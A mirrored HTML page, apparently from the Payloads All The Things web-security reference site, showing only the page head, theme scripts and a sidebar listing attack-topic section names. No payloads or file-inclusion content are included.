mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
6893 lines
235 KiB
HTML
6893 lines
235 KiB
HTML
|
|
<!doctype html>
|
|
<html lang="en" class="no-js">
|
|
<head>
|
|
|
|
<meta charset="utf-8">
|
|
<meta name="viewport" content="width=device-width,initial-scale=1">
|
|
|
|
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
|
|
|
|
|
|
|
|
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/File%20Inclusion/">
|
|
|
|
|
|
<link rel="prev" href="../Dom%20Clobbering/">
|
|
|
|
|
|
<link rel="next" href="../Google%20Web%20Toolkit/">
|
|
|
|
|
|
<link rel="icon" href="../assets/images/favicon.png">
|
|
<meta name="generator" content="mkdocs-1.5.3, mkdocs-material-9.5.15">
|
|
|
|
|
|
|
|
<title>File Inclusion - Payloads All The Things</title>
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../assets/stylesheets/main.7e359304.min.css">
|
|
|
|
|
|
<link rel="stylesheet" href="../assets/stylesheets/palette.06af60db.min.css">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
|
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
|
|
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
|
|
|
|
|
|
|
|
<link rel="stylesheet" href="../custom.css">
|
|
|
|
<script>__md_scope=new URL("..",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
</head>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
|
|
|
|
|
|
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
|
|
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
|
|
<label class="md-overlay" for="__drawer"></label>
|
|
<div data-md-component="skip">
|
|
|
|
|
|
<a href="#file-inclusion" class="md-skip">
|
|
Skip to content
|
|
</a>
|
|
|
|
</div>
|
|
<div data-md-component="announce">
|
|
|
|
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<header class="md-header md-header--shadow" data-md-component="header">
|
|
<nav class="md-header__inner md-grid" aria-label="Header">
|
|
<a href=".." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
|
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
|
|
|
|
</a>
|
|
<label class="md-header__button md-icon" for="__drawer">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z"/></svg>
|
|
</label>
|
|
<div class="md-header__title" data-md-component="header-title">
|
|
<div class="md-header__ellipsis">
|
|
<div class="md-header__topic">
|
|
<span class="md-ellipsis">
|
|
Payloads All The Things
|
|
</span>
|
|
</div>
|
|
<div class="md-header__topic" data-md-component="header-topic">
|
|
<span class="md-ellipsis">
|
|
|
|
File Inclusion
|
|
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
|
|
<form class="md-header__option" data-md-component="palette">
|
|
|
|
|
|
|
|
|
|
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
|
|
|
|
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
|
|
</label>
|
|
|
|
|
|
|
|
|
|
|
|
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
|
|
|
|
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12c0-2.42-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
|
|
</label>
|
|
|
|
|
|
</form>
|
|
|
|
|
|
|
|
<script>var media,input,key,value,palette=__md_get("__palette");if(palette&&palette.color){"(prefers-color-scheme)"===palette.color.media&&(media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']"),palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent"));for([key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
|
|
|
|
|
|
|
|
<label class="md-header__button md-icon" for="__search">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
|
|
</label>
|
|
<div class="md-search" data-md-component="search" role="dialog">
|
|
<label class="md-search__overlay" for="__search"></label>
|
|
<div class="md-search__inner" role="search">
|
|
<form class="md-search__form" name="search">
|
|
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
|
|
<label class="md-search__icon md-icon" for="__search">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z"/></svg>
|
|
</label>
|
|
<nav class="md-search__options" aria-label="Search">
|
|
|
|
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z"/></svg>
|
|
</button>
|
|
</nav>
|
|
|
|
</form>
|
|
<div class="md-search__output">
|
|
<div class="md-search__scrollwrap" data-md-scrollfix>
|
|
<div class="md-search-result" data-md-component="search-result">
|
|
<div class="md-search-result__meta">
|
|
Initializing search
|
|
</div>
|
|
<ol class="md-search-result__list" role="presentation"></ol>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
|
|
<div class="md-header__source">
|
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
|
<div class="md-source__icon md-icon">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
|
|
</div>
|
|
<div class="md-source__repository">
|
|
GitHub
|
|
</div>
|
|
</a>
|
|
</div>
|
|
|
|
</nav>
|
|
|
|
</header>
|
|
|
|
<div class="md-container" data-md-component="container">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<main class="md-main" data-md-component="main">
|
|
<div class="md-main__inner md-grid">
|
|
|
|
|
|
|
|
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
|
|
<div class="md-sidebar__scrollwrap">
|
|
<div class="md-sidebar__inner">
|
|
|
|
|
|
|
|
|
|
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
|
|
<label class="md-nav__title" for="__drawer">
|
|
<a href=".." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
|
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
|
|
|
|
</a>
|
|
Payloads All The Things
|
|
</label>
|
|
|
|
<div class="md-nav__source">
|
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
|
<div class="md-source__icon md-icon">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
|
|
</div>
|
|
<div class="md-source__repository">
|
|
GitHub
|
|
</div>
|
|
</a>
|
|
</div>
|
|
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href=".." class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Payloads All The Things
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CONTRIBUTING/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CONTRIBUTING
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
API Key Leaks
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_3">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
API Key Leaks
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../API%20Key%20Leaks/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
API Key Leaks
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
AWS Amazon Bucket S3
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_4">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
AWS Amazon Bucket S3
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../AWS%20Amazon%20Bucket%20S3/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Amazon Bucket S3 AWS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Account Takeover
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_5">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Account Takeover
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Account%20Takeover/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Account Takeover
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Argument Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_6">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Argument Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Argument%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Argument Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Business Logic Errors
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_7">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Business Logic Errors
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Business Logic Errors
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CICD
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_8">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CICD
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CICD/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CI/CD attacks
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CORS Misconfiguration
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_9">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CORS Misconfiguration
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CORS Misconfiguration
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CRLF Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_10">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CRLF Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CRLF%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Carriage Return Line Feed
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSRF Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_11">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CSRF Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CSRF%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross-Site Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSV Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_12">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CSV Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CSV%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSV Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CVE Exploits
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_13">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CVE Exploits
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CVE%20Exploits/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Common Vulnerabilities and Exposures
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
